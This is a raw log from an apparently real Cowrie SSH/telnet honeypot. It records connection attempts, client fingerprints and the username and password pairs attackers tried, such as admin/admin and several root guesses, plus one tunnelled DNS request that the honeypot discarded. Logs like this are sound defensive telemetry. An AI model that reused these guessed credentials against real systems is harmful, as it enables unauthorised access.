{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.488894Z","src_ip":"176.53.159.196","session":"c04c010c75e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.593499Z","session":"c04c010c75e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.690961Z","src_ip":"176.53.159.196","session":"c04c010c75e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:24:32.789798Z","src_ip":"176.53.159.196","session":"c04c010c75e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":36594,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ff4373e1f74","protocol":"ssh","message":"New connection: 202.61.233.105:36594 (10.17.0.5:22) [session: 1ff4373e1f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:16.536132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:16.540094Z","src_ip":"202.61.233.105","session":"1ff4373e1f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:16.682078Z","src_ip":"202.61.233.105","session":"1ff4373e1f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coinex","password":"coinex2024","message":"login attempt [coinex/coinex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:17.125617Z","src_ip":"202.61.233.105","session":"1ff4373e1f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:18.270601Z","src_ip":"202.61.233.105","session":"1ff4373e1f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":39498,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a55c06b7810","protocol":"ssh","message":"New connection: 139.59.4.137:39498 (159.203.135.109:22) [session: 9a55c06b7810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:19.194883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:19.199354Z","src_ip":"139.59.4.137","session":"9a55c06b7810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:19.418198Z","src_ip":"139.59.4.137","session":"9a55c06b7810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fernie","password":"123456","message":"login attempt [fernie/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:20.301569Z","src_ip":"139.59.4.137","session":"9a55c06b7810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:21.516681Z","src_ip":"139.59.4.137","session":"9a55c06b7810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56174,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd057633305","protocol":"ssh","message":"New connection: 103.15.222.183:56174 (159.203.135.109:22) [session: fcd057633305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:48.492297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:48.496094Z","src_ip":"103.15.222.183","session":"fcd057633305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:48.725557Z","src_ip":"103.15.222.183","session":"fcd057633305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199202","message":"login attempt [root/199202] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:49.416412Z","src_ip":"103.15.222.183","session":"fcd057633305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:50.647777Z","src_ip":"103.15.222.183","session":"fcd057633305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":54688,"dst_ip":"10.17.0.5","dst_port":22,"session":"aca728433d36","protocol":"ssh","message":"New connection: 176.32.39.21:54688 (10.17.0.5:22) [session: aca728433d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:56.884897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:56.891536Z","src_ip":"176.32.39.21","session":"aca728433d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:57.006586Z","src_ip":"176.32.39.21","session":"aca728433d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140779","message":"login attempt [root/140779] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:57.354456Z","src_ip":"176.32.39.21","session":"aca728433d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:25:58.472321Z","src_ip":"176.32.39.21","session":"aca728433d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":58198,"dst_ip":"159.203.135.109","dst_port":22,"session":"f323d5dd805e","protocol":"ssh","message":"New connection: 143.20.185.207:58198 (159.203.135.109:22) [session: f323d5dd805e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:45.343108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:45.359977Z","src_ip":"143.20.185.207","session":"f323d5dd805e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:45.506401Z","src_ip":"143.20.185.207","session":"f323d5dd805e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":48848,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d2b3734b69","protocol":"telnet","message":"New connection: 50.62.181.92:48848 (10.17.0.5:23) [session: d2d2b3734b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:45.841933Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#4VCPU16GBAMD","message":"login attempt [root/undefinedVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:46.209978Z","src_ip":"143.20.185.207","session":"f323d5dd805e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:47.331048Z","src_ip":"143.20.185.207","session":"f323d5dd805e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":42758,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d5edbf74d10","protocol":"ssh","message":"New connection: 108.179.220.174:42758 (10.17.0.5:22) [session: 2d5edbf74d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:55.207513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:55.211138Z","src_ip":"108.179.220.174","session":"2d5edbf74d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:55.238332Z","src_ip":"108.179.220.174","session":"2d5edbf74d10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome!@#$%^&*()!","message":"login attempt [root/welcome!@#$%^&*()!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:55.321151Z","src_ip":"108.179.220.174","session":"2d5edbf74d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:56.350261Z","src_ip":"108.179.220.174","session":"2d5edbf74d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":45042,"dst_ip":"10.17.0.5","dst_port":22,"session":"6daf99a4132c","protocol":"ssh","message":"New connection: 162.241.177.22:45042 (10.17.0.5:22) [session: 6daf99a4132c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:56.787788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:56.791833Z","src_ip":"162.241.177.22","session":"6daf99a4132c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:56.817447Z","src_ip":"162.241.177.22","session":"6daf99a4132c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pyth!M@st3r#P@ss","message":"login attempt [root/Pyth!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:56.894771Z","src_ip":"162.241.177.22","session":"6daf99a4132c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":47282,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf21b96e925","protocol":"telnet","message":"New connection: 50.62.181.92:47282 (10.17.0.5:23) [session: 0cf21b96e925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:57.916603Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:57.922218Z","src_ip":"162.241.177.22","session":"6daf99a4132c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":57446,"dst_ip":"159.203.135.109","dst_port":22,"session":"c95624c437f1","protocol":"ssh","message":"New connection: 139.59.4.137:57446 (159.203.135.109:22) [session: c95624c437f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:58.694422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:58.698060Z","src_ip":"139.59.4.137","session":"c95624c437f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 